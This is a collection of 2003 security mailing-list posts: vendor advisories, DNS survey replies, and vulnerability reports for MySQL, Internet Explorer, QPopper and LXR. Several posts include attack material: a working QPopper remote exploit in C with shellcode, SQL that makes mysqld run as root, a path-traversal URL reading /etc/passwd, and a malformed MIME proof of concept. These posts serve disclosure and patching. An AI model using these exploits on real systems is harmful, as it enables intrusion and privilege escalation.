7.2 Packages 303370a239df4fdff20a93ec885ef342libz-1.1.4-2.i386.rpm ff34cf793e2c8c70627ecd29c271dccalibz-devel-1.1.4-2.i386.rpm eaef0a84c34dd17b2af72f9e235803dalibz-devel-static-1.1.4-2.i386.rpm 7.3 Installation rpm -Fvh libz-1.1.4-2.i386.rpm rpm -Fvh libz-devel-1.1.4-2.i386.rpm rpm -Fvh libz-devel-static-1.1.4-2.i386.rpm 7.4 Source Package Location ftp://ftp.sco.com/
[SNS Advisory No.63] DeleGate Pointer Array Overflow May Let Remote Users Execute Arbitrary Code
-- SNS Advisory No.63 DeleGate Pointer Array Overflow May Let Remote Users Execute Arbitrary Code Problem first discovered on: Sun, 02 Mar 2003 Published on: Mon, 10 Mar 2003 -- Overview: DeleGate contains a vulnerability that could cause memory to be overwritten, resulting in pointer array overflow if a large number of User-Agent: lines are described in the robot.txt file. Problem Description: --- When a client attempts to get a robot.txt file from a server site through DeleGate, DeleGate adds some rules based on this file by default, whenever it is run as HTTP-PROXY. Describing several lines of User-Agent: in the robots.txt file could cause memory to be overwritten, thus resulting in pointer array overflow. An attacker could potentially run codes of her choice through exploitation. Tested Versions: DeleGate 8.3.4 (UNIX) DeleGate 8.4.0 (Windows) Solution: - Upgrade to the fixed version Delegate 8.5.0. Discovered by: -- Keigo Yamazaki Acknowledgements: Thanks to: Yutaka Sato National Institute of Advanced Industrial Science and Technology (AIST) Disclaimer: --- The information contained in this advisory may be revised without prior notice and is provided as it is. Users shall take their own risk when taking any actions following reading this advisory. LAC Co., Ltd. shall take no responsibility for any problems, loss or damage caused by, or by the use of information provided here. This advisory can be found at the following URL: http://www.lac.co.jp/security/english/snsadv_e/63_e.html -- Secure Net Service(SNS) Security Advisory <[EMAIL PROTECTED]> Computer Security Laboratory, LAC http://www.lac.co.jp/security/
Re: [EC-SA-01.2003] Windows XP "welcome screen" exposes the names of all the members of the local administrators group
> Direct solution: > No direct solution at this time. > > > Workaround: > Avoid using the welcome screen and use only the normal logon screen. > http://www.kellys-korner-xp.com/xp_wel_screen.htm or http://www.google.com/search?q=%2BSpecialAccounts+%2BWindows+%2BXP Wellknown and supported way to remove/hide users from Welcome screen. Just wanna everything will be clear, -- Andrew G. Tereschenko TAG Software Research Lab Odessa, Ukraine
[SECURITY] [DSA 258-1] New ethereal packages fix arbitrary code execution
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 258-1 [EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze March 10th, 2003http://www.debian.org/security/faq - -- Package: ethereal Vulnerability : format string vulnerability Problem-Type : remote Debian-specific: no CVE Id : CAN-2003-0081 Georgi Guninski discovered a problem in ethereal, a network traffic analyzer. The program contains a format string vulnerability that could probably lead to execution of arbitrary code. For the stable distribution (woody) this problem has been fixed in version 0.9.4-1woody3. For the old stable distribution (potato) does not seem to be affected by this problem. For the unstable distribution (sid) this problem has been fixed in version 0.9.9-2. We recommend that you upgrade your ethereal packages. Upgrade Instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.0 alias woody - Source archives: http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4-1woody3.dsc Size/MD5 checksum: 679 d1d61066e2bf5c4f3ae2c842dc238ea0 http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4-1woody3.diff.gz Size/MD5 checksum:34387 d2b4229ac5009eba25f3ff214dfa3dd2 http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4.orig.tar.gz Size/MD5 checksum: 3278908 42e999daa659820ee9339ea1e9ea Alpha architecture: http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4-1woody3_alpha.deb Size/MD5 checksum: 1939124 0ffa4e1947a996741ca37455ffd7f4c2 http://security.debian.org/pool/updates/main/e/ethereal/ethereal-common_0.9.4-1woody3_alpha.deb Size/MD5 checksum: 333660 710e12a1b2961ab791897c114c1e7207 http://security.debian.org/pool/updates/main/e/ethereal/ethereal-dev_0.9.4-1woody3_alpha.deb Size/MD5 checksum: 221454 02e5b338717337a5dd3b400fa8f8c7ce http://security.debian.org/pool/updates/main/e/ethereal/tethereal_0.9.4-1woody3_alpha.deb Size/MD5 checksum: 1706050 0b645d3c030c33e8f29ebee354a6b546 ARM architecture: http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4-1woody3_arm.deb Size/MD5 checksum: 1633066 5bdb9ee07245dd8c40d7fa67134bd8d4 http://security.debian.org/pool/updates/main/e/ethereal/ethereal-common_0.9.4-1woody3_arm.deb Size/MD5 checksum: 296456 09e572c9ed3b6930c6b96fc92ab673bc http://security.debian.org/pool/updates/main/e/ethereal/ethereal-dev_0.9.4-1woody3_arm.deb Size/MD5 checksum: 205294 7cfbeb0fe22d8b45a6357a51b06e8d5d http://security.debian.org/pool/updates/main/e/ethereal/tethereal_0.9.4-1woody3_arm.deb Size/MD5 checksum: 1437308 d6fa8aa979905914bfc58f44dbdb65f7 Intel IA-32 architecture: http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4-1woody3_i386.deb Size/MD5 checksum: 1511698 82a59c219398c48e420cda7d2e715116 http://security.debian.org/pool/updates/main/e/ethereal/ethereal-common_0.9.4-1woody3_i386.deb Size/MD5 checksum: 285768 b40e3cf0e9bbb222dc412b0d5b188c5c http://security.debian.org/pool/updates/main/e/ethereal/ethereal-dev_0.9.4-1woody3_i386.deb Size/MD5 checksum: 197614 1e4c85a78880b6ed7fc97d446dd4898d http://security.debian.org/pool/updates/main/e/ethereal/tethereal_0.9.4-1woody3_i386.deb Size/MD5 checksum: 1324276 614f13d1070786bda57e1e9a30310288 Intel IA-64 architecture: http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4-1woody3_ia64.deb Size/MD5 checksum: 2148490 f3d2d8f7690829c368c83c649befe4ce http://security.debian.org/pool/updates/main/e/ethereal/ethereal-common_0.9.4-1woody3_ia64.deb Size/MD5 checksum: 372514 d5afd45af2fb3a25b43fc7d76c9e273f http://security.debian.org/pool/updates/main/e/ethereal/ethereal-dev_0.9.4-1woody3_ia64.deb Size/MD5 checksum: 233006 c0b62c056a2dcdb4d3577f630154e407 http://security.debian.org/pool/updates/main/e/ethereal/tethereal_0.9.4-1woody3_ia64.deb Size/MD5 checksum: 1858696 1dd251efeacb7dbcc696577713d032fc HP Precision architecture: http://security.debian.org/pool/updates/main/e/ethereal/ethereal_0.9.4-1woody3_hppa.deb Size/MD5 checksum: 1801870 c7b0d97f62f6f2b655a99ab9617b602
[Summary of Responses] Bound by Tradition: A sampling of the security posture of the Internet's DNS servers
- Chris Gordon <[EMAIL PROTECTED]> has been watching DNS traffic at www.dshield.org and was wondering if "something was coming" and wanted to know if I had seen anything to indicate a DNS worm or virus was propagating. Chris, I have not noticed anything along those lines but all I did was actively scan DNS servers and process the responses, I did not sift through arbitrary Internet DNS traffic. - Bill Manning <[EMAIL PROTECTED]> did not find the paper "particularly new or that interesting". He thought it reinforced work done over the last six years on the vulnerabilities in the installed base of DNS code. - Robert Brockway <[EMAIL PROTECTED]> agreed with the overall statement of the paper 100%. "Somewhat OT for your discussion but it is high time for organisations to realise why they need geographically & logically seperated DNS servers. The number of organisations with 1 DNS server, all the servers on the same subnet, or lame delegations is disgraceful. In the end DNS security must rest on a properly configured DNS system." - Kurt Seifried <[EMAIL PROTECTED]> found that the paper agreed with his results: "This pretty much parallels the results I got when I did some checking into government DNS certains for a large country. I was able to do zone transfers for something like 60% of the subdomains (with some interesting results, like test-oracle-server.foo), bind versions were all over the map, and most were poorly secured if at all, to say nothing of the classic "all servers on the same subnet" for a few of the larger subdomains. I had them contacted, still no change. Sigh." - Nicholas Weaver <[EMAIL PROTECTED]> pointed out: "The roots really aren't vulnerable to a DDoS: Yes they are a single point, but they handle such little real traffic (mostly garbage) and the responses are cached for a long time. It is the gTLDs (eg, the .com nameservers) which are vulnerable to a DDoS, and the DDoS would probably be a traffic load related attacks." - Nuzman <[EMAIL PROTECTED]> wrote "One thing that many corporations still overlook is diversity in DNS. Remember Microsoft getting knocked off because their DNS servers were all on one subnet (early 2001)? I did a survey recently of the largest businesses in WI (whois on domain name) and almost half had DNS all in the same subnet... even companies that I know have good multi-path Net access. Heck, even adding something like granitecanyon.com as a 3rd and/or 4th DNS server would be an improvement for some businesses. One thing I'd be interested in seeing... what's the penetration of non-BIND DNS out there? The company I work for is a MS shop and we use Win2k DNS for primary and Sprint for additional secondary." And last, but not least, David Conrad <[EMAIL PROTECTED]> of Nominum: "Cute title. In no particular order: 1) You appear to make a big deal out of number of lines of code implying increased vulnerability, but the data you provide shows the opposite -- BINDv9 with 300,000+ lines of code has fewer vulnerabilities than BINDv8 (v2 in particular) with half the lines of code. Note that these code estimates are most likely misleading as they appear to include the entire source tree and BINDv9 has extensive tests that BINDv8 or 4 never had. 2) Several non-BIND DNS servers respond to CHAOS TXT queries for version.bind as if they were BIND. To get an accurate assessment of the servers running, more elaborate and sophisticated fingerprinting is necessary. 3) Verisign does not run all the root servers, only two, one of which runs Atlas last I heard. The do run all the .com/.net gTLD servers. I believe two are running Atlas now. 4) There are many other DNS servers available today, not just djbdns. NSD, PowerDNS, MaraDNS, and Posadis, are 4 open source implementations. Nominum's ANS and CNS, Microsoft Win2K (and .Net or whatever it is called today) DNS, Incognito's DNS Commander, and Cisco's CNR DNS server are proprietary commercial implementations available for purchase. 5) BINDv9 has never had a arbitrary code executable buffer overflow exploit unlike BINDv8 or BINDv4. It has, however, has had denial of service vulnerabilities until the 9.2 series, most of which do not appear on ISC's web page. The 9.0 series, in particular, was susceptible to remote denial of service 'packets of death'. 6) BIND 8.2.7 has no known vulnerabilities so it should be classified as 'safe'. The difference between the 8.2 series and the 8.3 series is primarily v6 support in 8.3. 7) "Klaatu, Barada, Nikto" is actually from the 1950s movie "The Day The Earth Stood Still". Sam Raimi stole the line for "Army of Darkness" (and other projects he has done) 8) Your section title "Remediation" makes several assertions without data to back up those assertions: * "Poor programming is obviously the main issue enabling the vulnerabilities" -- you provide no data that demonstrates poor programming. An assertion along the lines of "attempts to integrate code
Re: MySQL user can be changed to root
Hello...
On Sat, 2003-03-08 at 03:58, [EMAIL PROTECTED] wrote:
> Hi. I tried this on my own MySQL 3.23.55 !!!
> I found out that logging as the root user, we can change mysqld to run as root
> instead that i.e. mysql but this works only if there's just one my.cnf file and it
> is locate in /etc...
> Here's how I did it...
>
> I logged in as root and than I did this:
>
> mysql>CREATE DATABASE roottext;
> mysql>USE roottext;
> mysql>CREATE TABLE hack (conf VARCHAR(80));
> mysql>INSERT IN hack VALUES ('[mysqld]');
> mysql>INSERT IN hack VALUES ('user=root');
> mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
> mysql>QUIT
>
> Doing so we have create a my.cnf in mysql datadir containing:
>
> [mysqld]
> user=root
>
> Now, when the mysql server will be restarted, the user option in our datadit my.cnf
> will override the one in /etc/my.cnf and mysql server will run as root, with all the
> security flwas that it takes...
> This is very dangerous if we think that in mysql <= 3.23.53 it is really easy to get
> root access due to a bug (an exploit has been released publicly)...
> I dunno how this problem can be solved, I'd like to hear from you something...
Quick fix:
change ownership of ~mysql/my.cnf to (system) root
chattr +i
e.g.:
[EMAIL PROTECTED] /var/lib/mysql]$ sudo vi my.cnf
[EMAIL PROTECTED] /var/lib/mysql]$ cat my.cnf
# Empty
[EMAIL PROTECTED] /var/lib/mysql]$ sudo chattr +i my.cnf
[EMAIL PROTECTED] /var/lib/mysql]$ sudo -u mysql perl -pi -e "s#Empty# Mine#"
my.cnf
Can't remove my.cnf: Operation not permitted, skipping file.
[EMAIL PROTECTED] /var/lib/mysql]$ cat my.cnf
# Empty
[EMAIL PROTECTED] /var/lib/mysql]$ ls -la
total 28
drwxr-xr-x3 mysqlmysql4096 Mar 9 17:43 .
drwxr-xr-x 18 root root 4096 Nov 16 18:24 ..
-rw-r--r--1 root root8 Mar 9 17:42 my.cnf
> Thanks :)
> by
> Gufino
--
Christopher McCrory
"The guy that keeps the servers running"
[EMAIL PROTECTED]
http://www.pricegrabber.com
Let's face it, there's no Hollow Earth, no robots, and
no 'mute rays.' And even if there were, waxed paper is
no defense. I tried it. Only tinfoil works.
.MHT Buffer Overflow in Internet Explorer
CANON SYSTEM SOLUTIONS INC. Security Alert VULNERABILITY:.MHT Buffer Overflow in Internet Explorer DATE FOUND:March 2, 2003 Severity:High Risk(code can be executed remotely) == SUMMARY: IE5 introduced the new 'Web Archive' format for storing web pages, which have the extension MHT. The 'Web Archive' saves a web page as a single document complete with all images. The format is a standard mime/multipart e-mail message, a mime decoding program such as 7bit, 8bit and Base 64 decoder should be able to turn it into something usable with your OS and browser of choice. This format is pretty nifty and usable, however, there is a potential security breach found when used with encoded executable along with malformed MIME header in the 'Web Archive'. If the encode data is executable or has a single word "MZP" encoded within and Content-Type is not designated, IE5 will be terminated by critical buffer overflow.Consequently, one could compromise the client pc by executing malicious code in the memory. == AFFECTED SYSTEM: Microsoft Internet Explorer 5.5 and 6.0; prior versions are not vulnerable. == ANALYSIS: RFC822 describes the structure of message header used for the MIME. The followings are some of the identifiers defined for the MIME header. MIME-Version: Content-Type: Content-Trasfer-Encoding: Content-ID: Content-Description: The 'Content-Type' is used for defining the types of media transfered. The 'Web Archive' format utilizes the Multipart/Related content-type (defined in RFC2387) to properly embed the multiple web content files. As described in RFC2387, the Multipart/Related content-type provides a common mechanism for representing objects that are aggregates of related MIME body parts. When tranferring html or plain text data encoded in the 'Web Archive', IE5 interprets as a plain text with 'carriage return' code(0D0A) , otherwise as binary data without 'carriage return' code (0D0A). By manipulating the MIME header structure and the Base64 encoded data as an executable,4 bytes of memory can be overwritten. PROOF OF CONCEPT: The following format is usually used for the Web Archive. -- From: Subject: =?iso-2022-jp?B? GyRCJT0lVSVIJSYlJyUiJVclbSVAJS8lSBsoQiBIb21lUGFnZQ==?= Date: Tue, 4 Mar 2003 02:16:23 +0900 MIME-Version: 1.0 Content-Type: multipart/related; boundary="=_NextPart_000__01C2E1F4.0D559EA0"; type="text/html" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 This is a multi-part message in MIME format. --=_NextPart_000__01C2E1F4.0D559EA0 Content-Location:file:///tomatell.exe Content-Transfer-Encoding: base64 TVpQ -- The following sample format contains malformed MIME header along with the Base64 encoded executable. -- MIME-Version: 1.0 --=_NextPart_000__01C2E1F4.0D559EA0 Content-Location:file:///tomatell.exe Content-Transfer-Encoding: base64 TVpQ -- Note that the encoded string, "TVpQ", is the Win32 EXE signature located at the first three bytes of the EXE header. This is for the Win32 system to identify the data as a Win32 executable file. IE5 somehow reads this signature and interprets the data as an executable whereas the MIME encoder/decoder module,'inetcomm.dll', decodes as a plain 7 or 8 bit text data. Thus, IE5 creates a stream with a smaller buffersize than that of Base64 decoder has. The following error will occur when the above file is browsed by IE5. Unhandled exception in iexplore.exe: 0xC005: Access Violation. By debugging through the crash dump, the exception error is generated at the EIP(32-bit Instruction Pointer)=74CF497E called from inetcomm.dll to Kernel32. Register EAX = EBX = 05AD3A20 ECX = 001FE074 EDX = 001FE190 ESI = 05AD39D8 EDI = [EIP = 74CF497E] ESP = 0607B2BC EBP = 0607B2FC EFL = 0246 \KernelObjects\CritSecOutOfMemoryEvent 74cf494c ff157412cd74 calldword ptr [KERNEL32.EnterCriticalSection] 74cf4952 834e3c02 or dword ptr [esi+3c],+02 74cf4956 33ff xor edi,edi 74cf4958 397e1c cmp dword ptr [esi+1c],edi 74cf495b 743f jz 74cf499c 74cf495d 397c2410 cmp dword ptr [esp+10],edi 74cf4961 8bce mov ecx,esi 74cf4963 7d06 jnl 74cf496b 74cf4965 ff742410 pushdword ptr [esp+10] 74cf4969 eb25 jmp short 74cf4990 74cf496b c746441f00 mov dword ptr [esi+44],001f 74cf4972 e888f3 call74cf3cff 74cf4977 3bc7 cmp eax,edi 74cf4979 7c12 j
Security Update: [CSSA-2003-SCO.4.1] UnixWare 7.1.1 Open UNIX 8.0.0 UnixWare 7.1.3 : REVISED: Lax permissions on /dev/X
To: [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] __ SCO Security Advisory Subject:UnixWare 7.1.1 Open UNIX 8.0.0 UnixWare 7.1.3 : REVISED: Lax permissions on /dev/X Advisory number:CSSA-2003-SCO.4.1 Issue date: 2003 March 10 Cross reference:CSSA-2003-SCO.4 __ 1. Problem Description The /dev/X directory is world readable and writable, and the files in it are also world readable and writable. Denial-of-Service attacks are possible, as well as possible data hijacking. The X server sets these permissions when it starts up, so there is no workaround for this issue. This update fixes an install problem on Open UNIX 8 and UnixWare 7.1.3. 2. Vulnerable Supported Versions System Binaries -- UnixWare 7.1.1 Standard X Distribution Open UNIX 8.0.0 Standard X Distribution UnixWare 7.1.3 Standard X Distribution 3. Solution The proper solution is to install the latest packages. 4. UnixWare 7.1.1 4.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/UnixWare/CSSA-2003-SCO.4.1 4.2 Verification MD5 (basex711.pkg.Z) = 510888d562f6c2249555fefdae94d49d MD5 (xserver711.pkg.Z) = 74797f12d6e3e80300980854050f62ef md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download basex711.pkg.Z to the /var/spool/pkg directory Download xserver711.pkg.Z to the /var/spool/pkg directory # uncompress /var/spool/pkg/basex711.pkg.Z # pkgadd -d /var/spool/pkg/basex711.pkg # uncompress /var/spool/pkg/xserver711.pkg.Z # pkgadd -d /var/spool/pkg/xserver711.pkg 5. Open UNIX 8.0.0 5.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/UnixWare/CSSA-2003-SCO.4.1 5.2 Verification MD5 (basex800.pkg) = 73356bedec976a6607bbb4379603c723 MD5 (xserver800.pkg) = 0b6e241a352c45a19eeb66c3ca285c48 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 5.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download basex800.pkg to the /var/spool/pkg directory Download xserver800.pkg to the /var/spool/pkg directory # pkgadd -d /var/spool/pkg/basex800.pkg # pkgadd -d /var/spool/pkg/xserver800.pkg 6. UnixWare 7.1.3 6.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/UnixWare/CSSA-2003-SCO.4.1 6.2 Verification MD5 (basex713.pkg) = 30feecb01b9cb2ad3477840b25896e0d MD5 (xserver713.pkg) = a97371c5e1f0d3e147d05c6ebb71b3b8 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 6.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download basex713.pkg to the /var/spool/pkg directory Download xserver713.pkg to the /var/spool/pkg directory # pkgadd -d /var/spool/pkg/basex713.pkg # pkgadd -d /var/spool/pkg/xserver713.pkg 7. References Specific references for this advisory: none SCO security resources: http://www.sco.com/support/security/index.html This security fix closes SCO incidents sr874992, sr874607, fz527440, erg712231. 8. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. __ pgp0.pgp Description: PGP signature
Re: MySQL user can be changed to root
Hi! Both to bugtraq and mysql list: This issue has been adressed in 3.23.56 (release build is started today), and some steps were taken to alleviate the threat. In particular, MySQL will no longer read config files that are world-writeable (and SELECT ... OUTFILE always creates world-writeable files). Also, unlike other options, for --user option the first one will have the precedence. So if --user is set in /etc/my.cnf (as it is recommended in the manual), datadir/my.cnf will not be able to override it. Fixing this issue in more robust way would mean introducing too big and incompatible changes into stable version, thus breaking lots of installations. It is to be done in 4.1. Regards, Sergei On Mar 10, Guido A.J. Stevens wrote: > > I can confirm this privilege escalation in mysql-server 3.23.49-8.2 > (debian/stable on linux/i386). Any mysql user with file privileges can > trick the mysql server into running as root on restart of the mysql > subsystem. > > [EMAIL PROTECTED] wrote: > > > mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack > > > Now, when the mysql server will be restarted, the user option in our > > datadir my.cnf will override the one in /etc/my.cnf and mysql server will > > run as root -- MySQL Development Team __ ___ ___ __ / |/ /_ __/ __/ __ \/ / Sergei Golubchik <[EMAIL PROTECTED]> / /|_/ / // /\ \/ /_/ / /__ MySQL AB, http://www.mysql.com/ /_/ /_/\_, /___/\___\_\___/ Osnabrueck, Germany <___/
QPopper 4.0.x buffer overflow vulnerability
Hello,
Under certain conditions it is possible to execute arbitrary code using
a buffer overflow in the recent qpopper.
You need a valid username/password-combination and code is (depending on
the setup) usually executed with the user's uid and gid mail.
Explanation:
Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
function is used unconditionally on any system, regardless if the system
has its own vsnprintf().
The function correctly writes up to 'n' bytes into the buffer, but fails
to null-terminate it, if buffer-space runs out while copying the
format-string (so the obvious fix is, null-terminate the buffer in
Qvsnprintf()).
This is a problem in pop_msg() (popper/pop_msg.c).
The call to Qvsnprintf() can leave the buffer 'message' unterminated, so
the successive call to strcat (strcat(message,"\r\n")) writes somewhere
into thew stack. What it exactly overwrites depends heavily on the
individual binary and the current stack-data (where is the next
null-byte).
I successfully managed to execute arbitrary code using the
'mdef'-command with the binary in the most recent debian-package
'qpopper-4.0.4-8'
Sending 'mdef ()' with a macro-name of about 1000 bytes
fills the buffer leaving it unterminated. The strcat overwrites the
least significant byte of the saved basepointer on the stack,
now pointing inside the buffer. On return of pop_mdef() (file
pop_extend.c), the return-address is now fetched from within our buffer
(and of course pointing inside our buffer), allowing to, for example,
spawn a shell.
The Macroname may not include bytes causing isspace() to return true
and, of course, no null-byte, so shellcode must be appropriate crafted.
I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but
SuSE is more lucky, strcat doesn't overwrite critical values. I have
not yet tested other distributions.
Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for
debian qpopper-4.0.4-8:
-- snip --
#include
#include
#include
#include
#include
#include
#include
#include
char *sc = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x08\x40"
"\x40\x40\xcd\x80";
#define BUFLEN 1006
#define RETLEN 148
#define RETADDR 0xbfffd304
int main (int argc, char **argv) {
int fd, len, i, retaddr = RETADDR;
char *bp, buf[2000];
struct sockaddr_in peer;
fd_set fs;
if (argc != 4) {
fprintf(stderr, "Usage: %s \n\n", argv[0]);
exit(EXIT_FAILURE);
}
peer.sin_family = AF_INET;
peer.sin_port = htons(110);
peer.sin_addr.s_addr = inet_addr(argv[1]);
fd = socket(AF_INET, SOCK_STREAM, 0);
if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) {
perror("connect");
exit(EXIT_FAILURE);
}
snprintf(buf, 1024, "USER %s\n", argv[2]);
write(fd, buf, strlen(buf));
snprintf(buf, 1024, "PASS %s\n", argv[3]);
write(fd, buf, strlen(buf));
memset(buf, 0x90, 2000);
memcpy(buf, "mdef ", 5);
memcpy(buf + BUFLEN - RETLEN - strlen(sc), sc, strlen(sc));
bp = (char *) (((unsigned int)(buf + BUFLEN - RETLEN)) & 0xfffc);
for (i = 0; i < RETLEN; i += 4)
memcpy(bp+i+2, &retaddr, sizeof(int));
buf[BUFLEN-2] = '(';
buf[BUFLEN-1] = ')';
buf[BUFLEN] = '\n';
write(fd, buf, BUFLEN+1);
while (1) {
FD_ZERO(&fs);
FD_SET(0, &fs);
FD_SET(fd, &fs);
select(fd+1, &fs, NULL, NULL, NULL);
if (FD_ISSET(0, &fs)) {
if ((len = read(0, buf, 1000)) <= 0)
break;
write(fd, buf, len);
} else {
if ((len = read(fd, buf, 1000)) <= 0)
break;
write(1, buf, len);
}
}
exit(EXIT_SUCCESS);
}
-- snap --
This is the short version. An enhanced version with error-checking,
bufsize- and return-address autodetection can be found on
http://nstx.dereference.de/snippets/qex.c
Feedback is welcome.
regards,
Florian Heinz
Cronon AG
http://www.cronon.org
PS: sorry for the bad english ;)
Cross-Referencing Linux vulnerability
Info. - + Type: To gain visibility + Software: Cross-Referencing Linux. + Verions: until 0.9.2 + Exploit: Si. + Autor:Albert Puigsech Galicia + Contact: [EMAIL PROTECTED] Introduction. - Cross-Referencing Linux, as known as LXR, allow read all linux kernel source using a web navigator. The aplication is writen using Perl languaje, and convert to HTML all linux kernel sources. For more information visit the project's oficial website on http://lxr.linux.nu. Description. LXR suports to navigate through various kernel version. The version is readed from 'v' variable, witch content are placed in the path used to open the file without filter the '..' special directory. Exploiting. --- In posible to read any file on systema as apache privileges getting up on tree directory sending malicious data to 'v' variable. Is necessary too, to finish the path with nul char to ignore the rest of the path, so we add %00 at the end of 'v'. An example of exploit call may be: http://vulnerable/source?v=../../../../../../../etc/password%00 Patch. -- There aren't an oficial patch for a moment, but is too easy to put a regex filtering the '..' content when 'v' variable is read. -- >= > Albert Puigsech Galicia > > http://ripe.7a69ezine.org >=
